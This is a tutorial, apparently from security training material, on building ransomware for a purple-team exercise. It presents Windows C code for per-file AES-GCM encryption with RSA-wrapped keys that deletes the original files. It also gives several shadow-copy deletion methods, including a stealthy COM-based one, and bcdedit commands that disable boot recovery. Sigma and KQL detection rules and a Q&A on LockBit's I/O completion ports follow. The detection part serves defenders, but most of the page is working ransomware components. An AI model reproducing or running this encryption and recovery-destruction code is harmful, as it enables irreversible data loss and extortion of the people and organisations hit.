Ransomware Implementation
Ransomware is the most financially damaging class of malware in enterprise environments. Understanding the cryptographic design, file I/O patterns, and pre-encryption preparation (VSS deletion, backup destruction, inhibit recovery) is essential for detection engineers building ransomware-specific behavioral rules. Modern ransomware families (LockBit, BlackCat/ALPHV, Royal, Play) share architectural patterns with enough variation that detection requires behavioral signatures, not just hashes or strings.
You are building a ransomware simulation for a purple team exercise on a 5,000-endpoint corporate network. You need to model the behavior of a modern double-extortion ransomware: pre-encryption data staging (exfiltration for extortion leverage), VSS deletion to prevent shadow copy recovery, parallelized file encryption, and ransom note drop — all while validating that your detection team's SIEM rules fire before encryption reaches >5% of file shares.
Cryptographic Design
Key Generation and Escrow
// Key generation: BCrypt (Windows CNG) for cryptographically random AES keys.
// RSA-4096 public key embedded in binary; private key held by attacker C2.
#include <windows.h>
#include <bcrypt.h>
#pragma comment(lib, "bcrypt.lib")
BOOL GenerateFileKey(BYTE key[32], BYTE iv[12]) {
BCRYPT_ALG_HANDLE hRng;
BCryptOpenAlgorithmProvider(&hRng, BCRYPT_RNG_ALGORITHM, NULL, 0);
BCryptGenRandom(hRng, key, 32, 0);
BCryptGenRandom(hRng, iv, 12, 0);
BCryptCloseAlgorithmProvider(hRng, 0);
return TRUE;
}
// Wrap per-file key with victim RSA public key (RSA-OAEP-SHA256)
BOOL WrapKeyWithRSA(BYTE* plainKey, DWORD keyLen,
BYTE* pubKeyDer, DWORD pubKeyLen,
BYTE* wrappedKey, DWORD* wrappedLen) {
BCRYPT_KEY_HANDLE hKey;
BCRYPT_ALG_HANDLE hAlg;
BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_RSA_ALGORITHM, NULL, 0);
BCryptImportKeyPair(hAlg, NULL, BCRYPT_RSAPUBLIC_BLOB,
&hKey, pubKeyDer, pubKeyLen, 0);
BCRYPT_OAEP_PADDING_INFO pad = {BCRYPT_SHA256_ALGORITHM, NULL, 0};
BCryptEncrypt(hKey, plainKey, keyLen, &pad, NULL, 0,
wrappedKey, 512, wrappedLen, BCRYPT_PAD_OAEP);
BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hAlg, 0);
return TRUE;
}
File Encryption Engine
// Parallelized file encryption:
// Worker thread pool processes files concurrently (I/O bound — more threads = faster).
// LockBit 3.0 used I/O Completion Ports for maximum throughput.
// File extension rename + ransom note drop per directory.
VOID EncryptFile(LPCWSTR path, BYTE* pubKey, DWORD pubKeyLen) {
// Generate per-file key + nonce
BYTE fileKey[32], nonce[12];
GenerateFileKey(fileKey, nonce);
// Wrap key
BYTE wrappedKey[512]; DWORD wrappedLen = 0;
WrapKeyWithRSA(fileKey, 32, pubKey, pubKeyLen, wrappedKey, &wrappedLen);
// Open and read file
HANDLE hIn = CreateFileW(path, GENERIC_READ|GENERIC_WRITE,
0, NULL, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, NULL);
DWORD sz = GetFileSize(hIn, NULL);
BYTE* buf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, sz);
DWORD r;
ReadFile(hIn, buf, sz, &r, NULL);
CloseHandle(hIn);
// Encrypt buffer with AES-256-GCM (BCrypt)
BYTE* ctext = (BYTE*)HeapAlloc(GetProcessHeap(), 0, sz + 16);
BYTE tag[16];
AesGcmEncrypt(fileKey, nonce, buf, sz, ctext, tag);
// Write: ciphertext + footer [nonce(12) + tag(16) + wrappedKey(512) + magic(4)]
WCHAR outPath[MAX_PATH];
wcscpy_s(outPath, path);
wcscat_s(outPath, L".locked"); // add extension
HANDLE hOut = CreateFileW(outPath, GENERIC_WRITE,
0, NULL, CREATE_ALWAYS, FILE_FLAG_WRITE_THROUGH, NULL);
WriteFile(hOut, ctext, sz + 16, &r, NULL);
WriteFile(hOut, nonce, 12, &r, NULL);
WriteFile(hOut, tag, 16, &r, NULL);
WriteFile(hOut, wrappedKey, wrappedLen, &r, NULL);
CloseHandle(hOut);
DeleteFileW(path); // delete original
HeapFree(GetProcessHeap(), 0, buf);
HeapFree(GetProcessHeap(), 0, ctext);
}
VSS and Shadow Copy Deletion
// Deleting VSS shadow copies prevents recovery without paying.
// Multiple methods used by different ransomware families.
// Method 1: vssadmin (classic, detected easily)
vssadmin delete shadows /all /quiet
// Method 2: wmic (slightly less monitored)
wmic shadowcopy delete
// Method 3: PowerShell (used by REvil/Sodinokibi)
Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_.Delete() }
// Method 4: IVssBackupComponents COM interface (no child process — harder to detect)
// LockBit 3.0, BlackCat use this to avoid vssadmin/wmic process creation events.
#include <vss.h>
#include <vswriter.h>
#include <vsbackup.h>
VOID DeleteShadowCopiesVSS() {
CoInitializeEx(NULL, COINIT_MULTITHREADED);
IVssBackupComponents* pVss = NULL;
CreateVssBackupComponents(&pVss);
pVss->InitializeForBackup();
pVss->SetBackupState(FALSE, FALSE, VSS_BT_FULL, FALSE);
IVssAsync* pAsync = NULL;
pVss->GatherWriterMetadata(&pAsync);
pAsync->Wait(); pAsync->Release();
// Enumerate and delete all snapshots
IVssEnumObject* pEnum = NULL;
pVss->Query(GUID_NULL, VSS_OBJECT_NONE, VSS_OBJECT_SNAPSHOT, &pEnum);
VSS_OBJECT_PROP prop; ULONG fetched;
while (pEnum->Next(1, &prop, &fetched) == S_OK) {
pVss->DeleteSnapshots(prop.Obj.Snap.m_SnapshotId,
VSS_OBJECT_SNAPSHOT, FALSE, NULL, NULL);
}
pEnum->Release(); pVss->Release();
}
Ransom Note and Recovery Inhibition
// Drop ransom note in every directory; set desktop wallpaper; modify boot message.
// Drop note per-directory during file enumeration:
VOID DropNote(LPCWSTR dir) {
WCHAR path[MAX_PATH];
swprintf_s(path, L"%s\\README.txt", dir);
HANDLE h = CreateFileW(path, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
const char* note = "[PURPLE TEAM SIMULATION]\r\n"
"Your files have been encrypted.\r\n"
"This is a controlled exercise.\r\n";
DWORD w;
WriteFile(h, note, (DWORD)strlen(note), &w, NULL);
CloseHandle(h);
}
// Set desktop wallpaper
SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0,
(PVOID)L"C:\\ransom_wallpaper.bmp", SPIF_SENDCHANGE);
// Modify BootStatusPolicy to hide boot errors (used by some ransomware)
// bcdedit /set {default} bootstatuspolicy ignoreallfailures
// bcdedit /set {default} recoveryenabled No
Detection Engineering
title: Mass File Rename with Appended Extension (Ransomware)
logsource:
product: windows
category: file_rename
detection:
selection:
EventID: 11 # Sysmon FileCreate (rename = create new + delete old)
timeframe: 60s
condition: selection | count() by SourceHostname > 100
level: critical
tags: [attack.impact, T1486]
title: vssadmin or wmic Shadow Copy Deletion
logsource:
product: windows
category: process_creation
detection:
vssadmin:
Image|endswith: '\vssadmin.exe'
CommandLine|contains|all: ['delete', 'shadows']
wmic:
Image|endswith: '\wmic.exe'
CommandLine|contains|all: ['shadowcopy', 'delete']
ps:
CommandLine|contains: 'Win32_ShadowCopy'
condition: vssadmin or wmic or ps
level: critical
-- MDE KQL: high-volume file renames (ransomware encryption pattern)
DeviceFileEvents
| where Timestamp > ago(1h)
| where ActionType == "FileRenamed"
| where FileName matches regex @"\.[a-zA-Z0-9]{4,10}$" // extension added
| summarize
renames = count(),
dirs = dcount(FolderPath),
exts = make_set(tostring(split(FileName,".")[-1]))
by DeviceName, InitiatingProcessFileName, bin(Timestamp, 1m)
| where renames > 50
| order by renames desc
-- MDE KQL: IVssBackupComponents COM call (stealthy VSS delete)
DeviceEvents
| where ActionType == "BehaviorPrevented"
or ActionType == "AntivirusDetection"
| where AdditionalFields has_any ("Vss","ShadowCopy","DeleteSnapshots")
| project Timestamp, DeviceName, InitiatingProcessFileName, AdditionalFields
-- MDE KQL: bcdedit modifying recovery (pre-encryption preparation)
DeviceProcessEvents
| where Timestamp > ago(1d)
| where FileName =~ "bcdedit.exe"
| where ProcessCommandLine has_any ("recoveryenabled","bootstatuspolicy","ignoreallfailures")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
Q&A
LockBit 3.0 uses I/O Completion Ports for file encryption rather than a simple thread pool. Why is this architecturally significant from both an attack speed and a detection perspective?
I/O Completion Ports (IOCP) are the Windows kernel's mechanism for efficiently managing large numbers of overlapped (asynchronous) I/O operations with a small, fixed-size thread pool. Instead of creating one thread per file (which would create thousands of threads and thrash the scheduler), IOCP lets a small pool of worker threads handle thousands of concurrent file reads/writes. When an asynchronous file operation completes, the kernel posts a completion packet to the port; a waiting worker thread dequeues it and processes the next operation immediately without blocking.
Attack speed significance: on a modern SSD, sequential file I/O is CPU-bound at the encryption stage and bandwidth-bound at the disk stage. With IOCP, LockBit 3.0 can saturate both: multiple read operations are in flight simultaneously (queued to the kernel's I/O scheduler), encryption happens on worker threads while the disk delivers data, and writes are also queued asynchronously. Benchmarks showed LockBit 3.0 encrypting files at rates up to 4-6 GB/minute on local NVMe, making traditional "count file renames over 60 seconds" detection thresholds too slow — the damage is done before the rule fires.
Detection significance: IOCP-based ransomware creates a very different process behavior profile than naive looping ransomware. It opens hundreds of file handles simultaneously (visible in Sysmon EID 15/open events and in the Handle table of the process), generates overlapping I/O requests to many files at the same time (visible in disk I/O metrics as extremely high queue depth across many unique file paths), and uses few threads. A detection rule looking for "X file renames per second from a single process" will catch it, but the threshold must be calibrated for speed: at 4 GB/min with average 100KB files, that's ~700 renames/minute or ~12/second. Any threshold above 10/second is too slow for fast IOCP-based ransomware on local storage. File share monitoring (Windows Server SMB audit events) can catch it faster because SMB latency slows the I/O, giving more time for the detection threshold to accumulate.